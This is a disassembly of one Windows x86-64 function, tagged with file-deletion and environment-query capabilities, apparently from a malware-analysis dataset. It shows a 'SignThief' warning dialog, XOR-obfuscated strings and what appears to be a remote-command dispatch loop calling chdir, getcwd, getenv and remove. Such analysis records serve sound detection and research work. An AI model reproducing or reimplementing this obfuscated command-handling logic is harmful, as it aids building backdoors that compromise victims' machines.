Function at 0x140007810
Capabilities:
Delete file
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x338
lea rbx, [rsp + 0x240]
lea rsi, [rsp + 0x2df]
call fcn.140005487
mov rcx, rbx
and rsi, 0xffffffffffffffe0
call fcn.140002a96
lea rax, [rsp + 0x200]
mov rcx, rax
mov qword [rsp + 0x38], rax
call fcn.140002a4f
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
call fcn.1400033b6
mov rcx, qword [rsp + 0x38]
mov edi, eax
call fcn.1400052f0
mov rcx, rbx
call fcn.1400052f0
test dil, dil
jne 0x1400078f7
lea rdi, [rsp + 0x1e0]
mov edx, 0x12
mov rcx, rdi
call fcn.14000322c
mov r9d, 0x31
lea r8, str.SignThief___Warning
xor ecx, ecx
lea rdx, str.Your_computer_will_be_restarted_instantly_after_installing_this_software.
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
je 0x140008302
mov rdx, rdi
mov rcx, rbx
call fcn.140005288
mov rcx, qword [rsp + 0x38]
call fcn.140002a4f
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
call fcn.140003408
mov rcx, qword [rsp + 0x38]
call fcn.1400052f0
mov rcx, rbx
call fcn.1400052f0
call fcn.1400029b9
jmp 0x140008302
mov ecx, 0x3c
call fcn.140001851
xor r8d, r8d
lea rdx, [0x14000f0d0]
lea rcx, [0x14000f0c0]
call sub.gdiplus.dll_GdiplusStartup
xor ecx, ecx
xor edx, edx
xor r8d, r8d
lea rax, [rsp + 0x150]
mov qword [rsp + 0x168], rcx
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x180], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x140]
mov qword [rsp + 0x148], rdx
mov byte [rsp + 0x150], 0
mov byte [rsp + 0x170], 0
mov qword [rsp + 0x188], r8
mov byte [rsp + 0x190], 0
mov qword [rsp + 0x50], rax
call fcn.1400048a2
xor eax, eax
mov ecx, 0x18
mov qword [rsp + 0xf8], rax
call sub.libstdc_6.dll_operator_new_unsigned_long_long_
lea rdi, fcn.1400074b0
lea rcx, [rsp + 0xf8]
mov rdx, rbx
mov qword [rsp + 0x240], rax
mov qword [rax], rdi
mov rdi, qword [rsp + 0x40]
lea r8, [0x1400074c0]
mov qword [rax + 8], rdi
lea rdi, [0x140003782]
mov qword [rax + 0x10], rdi
call fcn.140005300
mov rcx, qword [rsp + 0x240]
test rcx, rcx
je 0x140007a06
mov rax, qword [rcx]
call qword [rax + 8]
movabs rdi, 0x50e5cfa0543f07f
movabs r13, 0x68613fa571269750
movabs r14, 0x9adb52ac61094cf5
mov r15, rdi
jmp 0x140007a74
mov r8, qword [rsp + 0x50]
mov r9d, 0xe10
mov rdx, rbx
lea rcx, [0x14000f100]
call fcn.140001c84
mov ebp, eax
mov rcx, rbx
call fcn.1400052f0
cmp ebp, 0xe8
je 0x140007ac4
mov qword [rsp + 0x200], r13
mov r8, qword [rsp + 0x40]
mov rcx, rbx
movabs rax, 0x9adb528305672d98
mov qword [rsp + 0x208], r14
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rax
vmovdqa xmm1, xmmword [rsp + 0x60]
vpxor xmm0, xmm1, xmmword [rsp + 0x200]
vmovdqa xmmword [rsp + 0x200], xmm0
call fcn.140007790
jmp 0x140007a48
cmp qword [rsp + 0x148], 0
je 0x140007a74
lea rax, [rsp + 0x128]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.1400038ce
movabs rax, 0x50e5cfa0543941c
mov rbp, rdi
mov rdx, rbx
movabs r12, 0x9adb528305672d98
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x248], r12
mov rcx, rax
mov qword [rsp + 0xa0], rbp
mov qword [rsp + 0xa8], r12
vmovdqa xmm2, xmmword [rsp + 0xa0]
vpxor xmm0, xmm2, xmmword [rsp + 0x240]
mov qword [rsp + 0x48], rax
vmovdqa xmmword [rsp + 0x240], xmm0
call fcn.1400076e0
test al, al
je 0x140007c86
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x20]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
test eax, eax
jne 0x140007bdc
movabs rax, 0x6b6f34b9251edb24
lea r9, [rsi + 0x40]
movabs rdx, 0x6c088d34d1799ae9
movabs rcx, 0x50e5cfa0543f07f
mov qword [rsi + 0x40], rax
movabs rax, 0x90a93be7250348ff
mov qword [rsi + 0x50], rdx
mov qword [rsi + 0x48], rax
movabs rax, 0x4a4e7bf5531a9e0a
mov qword [rsi], rcx
movabs rcx, 0x9adb528305672d98
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x58], rax
vmovdqa ymm3, ymmword [rsi + 0x40]
mov qword [rsi + 0x18], rax
mov qword [rsi + 8], rcx
vpxor ymm0, ymm3, ymmword [rsi]
vmovdqa ymmword [rsi + 0x40], ymm0
jmp 0x140007c53
movabs rax, 0x69673dbc251edd24
lea r9, [rsi + 0x20]
movabs rdx, 0x50e5cfa0543f07f
mov qword [rsi + 0x20], rax
movabs rax, 0xfeb872ec714749fd
mov qword [rsi], rdx
movabs rdx, 0x9adb528305672d98
mov qword [rsi + 0x28], rax
movabs rax, 0x6c088d34d1799ae3
mov qword [rsi + 8], rdx
movabs rdx, 0x6c088d34d1799ae9
mov qword [rsi + 0x30], rax
movabs rax, 0x4a4e7bf5531a9e0a
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x38], rax
vmovdqa ymm4, ymmword [rsi + 0x20]
mov qword [rsi + 0x18], rax
vpxor ymm0, ymm4, ymmword [rsi]
vmovdqa ymmword [rsi + 0x20], ymm0
mov rcx, r9
mov qword [rsp + 0x48], r9
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9, qword [rsp + 0x48]
mov r8, qword [rsp + 0x168]
xor edx, edx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x160]
call fcn.1400052e8
jmp 0x140007f78
mov qword [rsp + 0x248], r12
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
movabs rax, 0x50e5cfa762c941b
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], r12
vmovdqa xmm5, xmmword [rsp + 0xb0]
mov qword [rsp + 0x240], rax
vpxor xmm0, xmm5, xmmword [rsp + 0x240]
vmovdqa xmmword [rsp + 0x240], xmm0
call fcn.1400076e0
test al, al
je 0x140007d12
mov rdx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.1400039ad
mov rbp, qword [rsp + 0x240]
mov rcx, qword [rbp + 0x40]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rbp + 0x20]
mov edx, eax
call fcn.140002e17
mov rcx, rbx
call fcn.140007670
jmp 0x140008170
mov qword [rsp + 0xc0], rbp
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
movabs rax, 0x6d7d329f6031930c
mov qword [rsp + 0xc8], r12
vmovdqa xmm1, xmmword [rsp + 0xc0]
mov qword [rsp + 0x240], rax
movabs rax, 0x9adb5283056759f7
mov qword [rsp + 0x248], rax
vpxor xmm0, xmm1, xmmword [rsp + 0x240]
vmovdqa xmmword [rsp + 0x240], xmm0
call fcn.1400076e0
test al, al
je 0x140007f53
mov edx, 0x20
mov rcx, rbx
call fcn.1400030a2
lea rbp, [rsp + 0x1e0]
lea rdx, [0x14000a1d6]
mov rcx, rbp
call fcn.14000188c
movabs rax, 0x50e5cfa550eb52b
mov rdx, rdi
lea rcx, [rsp + 0x110]
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0x110], rax
movabs rax, 0x9adb528305672d98
mov qword [rsp + 0x118], rax
mov qword [rsp + 0xd8], rax
vmovdqa xmm2, xmmword [rsp + 0xd0]
vpxor xmm0, xmm2, xmmword [rsp + 0x110]
vmovdqa xmmword [rsp + 0x110], xmm0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
xor edx, edx
mov rcx, rbp
mov r8, rax
call fcn.1400052c0
mov rcx, qword [rsp + 0x38]
mov rdx, rax
call fcn.140005290
mov rcx, qword [rsp + 0x38]
mov r12, qword [rsp + 0x248]
add r12, qword [rsp + 0x208]
call fcn.1400053a8
cmp rax, r12
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
jae 0x140007e5d
mov rcx, rbx
call fcn.1400053a8
cmp rax, r12
jb 0x140007e5d
mov r8, qword [rsp + 0x38]
xor edx, edx
mov rcx, rbx
call fcn.1400052b8
jmp 0x140007e6a
mov rcx, qword [rsp + 0x38]
mov rdx, rbx
call fcn.1400052c8
mov rcx, qword [rsp + 0x48]
mov rdx, rax
call fcn.140005290
mov rcx, qword [rsp + 0x38]
call fcn.1400052f0
mov rcx, rbp
call fcn.1400052f0
mov rcx, rbx
call fcn.1400052f0
mov rcx, qword [rsp + 0x48]
call fcn.1400023ba
movabs rax, 0x667d039e6b268350
mov rdx, rdi
mov r8, qword [rsp + 0x40]
mov rcx, rbx
mov qword [rsi + 0x20], rax
movabs rax, 0xeeb43af06b0248ea
mov qword [rsi], rdx
movabs rdx, 0x9adb528305672d98
mov qword [rsi + 0x28], rax
movabs rax, 0x6c088d34d1799ac6
mov qword [rsi + 8], rdx
movabs rdx, 0x6c088d34d1799ae9
mov qword [rsi + 0x30], rax
movabs rax, 0x4a4e7bf5531a9e0a
mov qword [rsi + 0x10], rdx
lea rdx, [rsi + 0x20]
mov qword [rsi + 0x38], rax
vmovdqa ymm3, ymmword [rsi + 0x20]
mov qword [rsi + 0x18], rax
vpxor ymm0, ymm3, ymmword [rsi]
vmovdqa ymmword [rsi + 0x20], ymm0
call fcn.140007790
mov r8, qword [rsp + 0x48]
lea r9, [rsp + 0x180]
mov rdx, rbx
lea rcx, [0x14000f100]
call fcn.140003bd1
mov rcx, rbx
call fcn.1400052f0
mov rcx, qword [rsp + 0x1c0]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rcx, qword [rsp + 0x48]
jmp 0x14000816b
mov rdx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140002665
lea rcx, [rsp + 0x160]
mov rdx, rbx
call fcn.1400017b8
mov rcx, rbx
call fcn.1400052f0
movabs rax, 0x50e288f75378510
mov rdx, rdi
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x110], rax
movabs rax, 0x9adb528305672d98
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x98], rax
vmovdqa xmm4, xmmword [rsp + 0x90]
vpxor xmm0, xmm4, xmmword [rsp + 0x110]
vmovdqa xmmword [rsp + 0x110], xmm0
call fcn.140002b0c
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x100]
mov rcx, rbx
mov qword [rsp + 0x100], rax
call fcn.1400018d0
jmp 0x140007ffe
movabs rax, 0x50e5cfa0527871c
mov rdx, rdi
xor ecx, ecx
mov qword [rsp + 0x1c0], rax
movabs rax, 0x9adb528305672d98
mov qword [rsp + 0x80], rdx
xor edx, edx
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x88], rax
vmovdqa xmm5, xmmword [rsp + 0x80]
vpxor xmm0, xmm5, xmmword [rsp + 0x1c0]
vmovdqa xmmword [rsp + 0x1c0], xmm0
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r12, [rsp + 0x280]
lea rdx, [rsp + 0x1c0]
mov qword [rsp + 0x108], rax
lea r8, [rsp + 0x108]
mov rcx, r12
call fcn.1400018d0
jmp 0x14000808c
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], 2
call fcn.140004614
lea rbp, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x38]
mov rcx, rbp
call fcn.140003620
mov rcx, qword [rsp + 0x38]
call fcn.1400072c0
mov rcx, r12
call fcn.140007450
mov rcx, rbx
call fcn.140007450
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
movabs rax, 0x717b33a571268350
mov qword [rsp + 0x200], rax
movabs rax, 0x9adb52832a1358e8
mov qword [rsp + 0x208], rax
mov rax, rdi
mov qword [rsp + 0x70], rax
movabs rax, 0x9adb528305672d98
mov qword [rsp + 0x78], rax
vmovdqa xmm1, xmmword [rsp + 0x70]
vpxor xmm0, xmm1, xmmword [rsp + 0x200]
vmovdqa xmmword [rsp + 0x200], xmm0
call fcn.140007790
lea r9, [rsp + 0x180]
mov r8, rbp
mov rdx, rbx
lea rcx, [0x14000f100]
call fcn.140001fb4
mov rcx, rbx
call fcn.1400052f0
mov rcx, rbp
call fcn.1400052f0
mov rcx, qword [rsp + 0x58]
call fcn.140007670
jmp 0x140007a74
mov rcx, rdi
call fcn.1400052f0
xor eax, eax
add rsp, 0x338
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret